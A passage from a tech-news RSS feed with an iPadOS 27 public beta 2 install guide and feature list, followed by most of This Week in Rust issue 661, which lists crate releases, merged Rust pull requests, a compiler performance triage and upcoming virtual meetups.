If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[iPadOS 27 Public Beta 2 Now Available, Here’s How to Install It and What’s New]]></title>
<description><![CDATA[Apple has released iPadOS 27 public beta 2 for compatible iPad models, one week after the first public beta arrived. The update matches the latest developer beta and brings several smaller features, interface refinements, and bug fixes.



Anyone enrolled in the free Apple Beta Software Program c...]]></description>
<link>https://tsecurity.de/de/3688139/ios-mac-os/ipados-27-public-beta-2-now-available-heres-how-to-install-it-and-whats-new/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688139/ios-mac-os/ipados-27-public-beta-2-now-available-heres-how-to-install-it-and-whats-new/</guid>
<pubDate>Thu, 23 Jul 2026 08:17:15 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released iPadOS 27 public beta 2 for compatible iPad models, one week after the first public beta arrived. The update matches the latest developer beta and brings several smaller features, interface refinements, and bug fixes.



Anyone enrolled in the free Apple Beta Software Program can download the update through the Settings app. Since this remains pre-release software, users should back up their iPad before installing it.



How to Install iPadOS 27 Public Beta 2



Follow these steps to download the latest public beta:




Back up your iPad using iCloud or a Mac.



Enroll your Apple Account in the Apple Beta Software Program if you have not already joined.



Open the Settings app on your iPad.



Select General.



Tap Software Update.



Choose Beta Updates.



Select iPadOS 27 Public Beta.



Return to the Software Update page.



Tap Download and Install.




Keep your iPad connected to Wi-Fi and make sure it has enough battery power before starting the installation. The device will restart after completing the update.



What’s New in iPadOS 27 Public Beta 2



Public beta 2 focuses mainly on improving existing iPadOS 27 features rather than introducing major system changes.




Automatic downloads in the Apple TV app: A new setting allows the Apple TV app to download upcoming episodes from shows in Continue Watching. It can also remove downloaded episodes after you finish watching them, helping manage storage space.



Siri conversation preview controls: The standalone Siri app now includes an option that controls how many lines of preview text appear for previous conversations. This makes the conversation history easier to browse.



New AirPods Adaptive mode controls: Control Center now provides more options for adjusting Adaptive Audio when compatible AirPods are connected.



Zoom Photos to Fill: The Photos app adds a new setting that automatically enlarges images to fill the screen, reducing empty space around photos with different aspect ratios.



Updated introduction screens: New splash screens explain features available through Siri AI and several system apps when users open them for the first time.



Bug fixes and performance improvements: The update includes stability fixes, interface refinements, and other changes intended to improve the overall beta experience.




Some iPadOS 27 features, including advanced Siri and Apple Intelligence tools, require an iPad model that supports Apple Intelligence. Beta software can also contain app compatibility problems, battery drain, and unexpected crashes, so installing it on a secondary device remains the safer choice.



If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
